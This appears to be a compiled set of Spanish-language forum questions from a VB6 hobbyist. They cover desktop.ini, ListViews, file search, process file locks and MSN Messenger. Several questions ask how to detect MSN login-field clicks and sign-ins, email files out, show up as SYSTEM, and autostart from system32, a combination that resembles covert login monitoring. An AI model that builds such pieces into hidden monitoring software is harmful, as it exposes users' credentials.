tengo un problema...estoy haciendo un programa q crea un archivo desktop.ini y todo bcan...pero hay un (o unos) virus q al parecer crea un desktop vacio y borra el mio asi este como de solo lectura... ...como puedo hacer para q esto no pase??...y se quede mi archivo sin q sea borrado por el virus??...


gracias por todo

holas gente tengo un problemita

esta vez con el control MSDXM.ocx (mediaplayer) q le puse a mi prog todo va bien solo q cuando escucho una cancion y le subo el volumen normal pero cuando empieza otra el volumen regresa a su lugar  inicial no se queda donde lo deje con la cancion anterior...

como puedo arreglar este problema con este ocx?

gracias por todo

holas gente!!!

q tipo de drive  (o control ) es ese q aparece en el commondialog openfile o savefile??? ya q ese control muestra ademas de las unidades otras cosas como: escritorio, mis documentos, mis sitios de red , etc...

gracias por todo

Holas gente :

como hago para saber q un archivo esta "amarrado" a un proceso y cual es este???

hay a veces procesos q necesitan archivos para poder funcionar (como dll u otros exes) como puedo saber cuales son estos???


gracias por todo

holas gente tengo una duda :

Como puedo hacer para q en un listview me aparezca en la primera columna  el nombre de un archivo y su respectivo icono osea si es un exe su icono de exe, si es un jpg su icono de jpg,etc algo asi como el explorer.exe q tiene integrado un listview en donde uno ve  sus archivos y carpetas cada uno con su respectivo icono

lo de los nombres de las carpetas y archivos ya lo hice, solo me falta lo de los iconos... el listview esta como reporte (modo detalles en el explorer.exe)

gracias por todo

Holas gente tengo un problema

he estado buscando informacion sobre algoritmos de busqueda de archivos en todo el disco duro y me he encontrado con algunos pero q solo buscan en algunas unidades o q son demasiado lentos inclusive cuelgan la PC por la busqueda q realizan

lo q quiero es q me ayude a buscar por ejemplo todos los *.jpg q existan en TODO EL DISCO DURO pero q la busqueda no sea tan lenta ni tan pesada...  como el buscador de WIN q mientras busca en todas las unidades puedes seguir haciendo otras cosas sin colgar la PC

muchas gracias por todo de antemano

Holas gente tengo un problemin...

Lo q pasa es q no se como hacer lo sgte:

cuando haga click en un textbox por ejemplo del MSN :      (son 2 textbox no???? al menos tienen pinta de eso... ) q un msgbox me diga q se hizo click en ese control y q el tiene el focus...osea detectar q se hizo click en el textbox pero solo del MSN

Lo q puedo hacer es detectar q la ventana del MSN esta activa, eso si ... pero lo del textbox q esta dentro de el...como hago???

holas gente!!! tengo un problema...

Como hago para saber cuando se a iniciado sesion y cuando se a cerrado sesion en el MSN...por ejem un codigo de vb6 q me ayude hacer esto:


If InicioSesion = True Then

msgbox "Se ha INICIADO sesion en el MSN"

End If

If CerroSesion = True Then

msgbox "Se ha CERRADO sesion en el MSN"

End If


alguna API??? o algo q suceda en WIN q pueda interceptar y q me ayude a implementar las funciones boolenas mencionadas anteriormente???

gracias por todo de antemano

holas gente !!!

Tengo una duda...como hago para saber si un archivo txt q existe esta  completamente vacio???

Holas gente!!!

Como le hago para q mi app en la pestaña de Procesos dentro del TaskManager aparezca con Nombre de usuario como: SYSTEM o SERVICIO LOCAL y no me aparezca con el nombre de la sesion
q esta siendo usuada???

Holas gente!!!

Como hago q mi app pueda enviar a mi correo un mail con un archivo adjunto???

gracias por todo

holas gente!!! ...tengo una duda

Quiero q mi app dentro de un timer verifique constantemente si se ha abierto el MSN para hacer el logeo y una vez abierto se active mi prog
(De otra manera... deseo q mi app se acitve  cuando la ventana del MSN se abra y este sobre el escritorio listo para  hacer un logeo)

Lo quice hacer con el proceso del MSN en el TaskManager pero me he dado cuenta q el proceso del  MSN se encuentra en la lista con el solo hecho de estar en el SystemTray y estando su estado: \"No has iniciado sesion\"

holas gente ...

como hago para dibujar integrales ... osea la funcion q se va a integrar y luego el area (sombreo) debajo de ella de un cierto intervalo [a,b]

gracias por todo... y FELIZ AÑO 2007  

Quiero borrar un archivo pero este no se deja existe alguna forma de forzar su borrado???

- lo del borrado lo hago con fso.deletefile -

El archivo debe estar siendo utilizado por un proceso o esta siendo "amarrado" de alguna otra forma

Como hago para solucionar mi problema?

Como hago para averiguar los procesos q "amarran" a un archivo cualquiera y poner sus nombres(de esos procesos) en un listbox?



gracias por todo de antemano

Quiero abrir el proceso explorer.exe(despues de haberlo cerrado claro ) y utilizo el sgte codigo

Código [Seleccionar] Expandir

shell "explorer.exe"

me vuelve a aparecer el explorer.exe (barra de tareas) pero ademas me abre la carpeta Mis Documentos

lo q quiero es q solo se abra el proceso explorer.exe pero sin la carpeta mis Documentos ,asi como cuando ejecuto el Administrador de Tareas y pongo en Aplicaciones Tarea Nueva... y escribo explorer.exe
solo se abre el explorer.exe

como hago?

gracias por todo de antemano

holas gente!!! tengo el sgte problem

tengo una app q quiero ponerla como servicio y he hecho lo sgte

el exe lo e copiado en el c.\windows\system32

y el exe lo e puesto en el regedit en el hklm\sowfware\...\run y como parametro le e puesto %systemroot% es en xp

el app se pone en el systemtray y hasta ahi todo bacan... pero a la hora de reiniciar la app no aparece en el systemtra y ni en los procesos pero si en la pestaña de inicio del msconfig con un check

como le hago para q la app corra despes de iniciado el SO colocandose en el systemtray?

alguna consideracion mas q deba tener la app para q funcione como servicio'

gracias por todo de antemano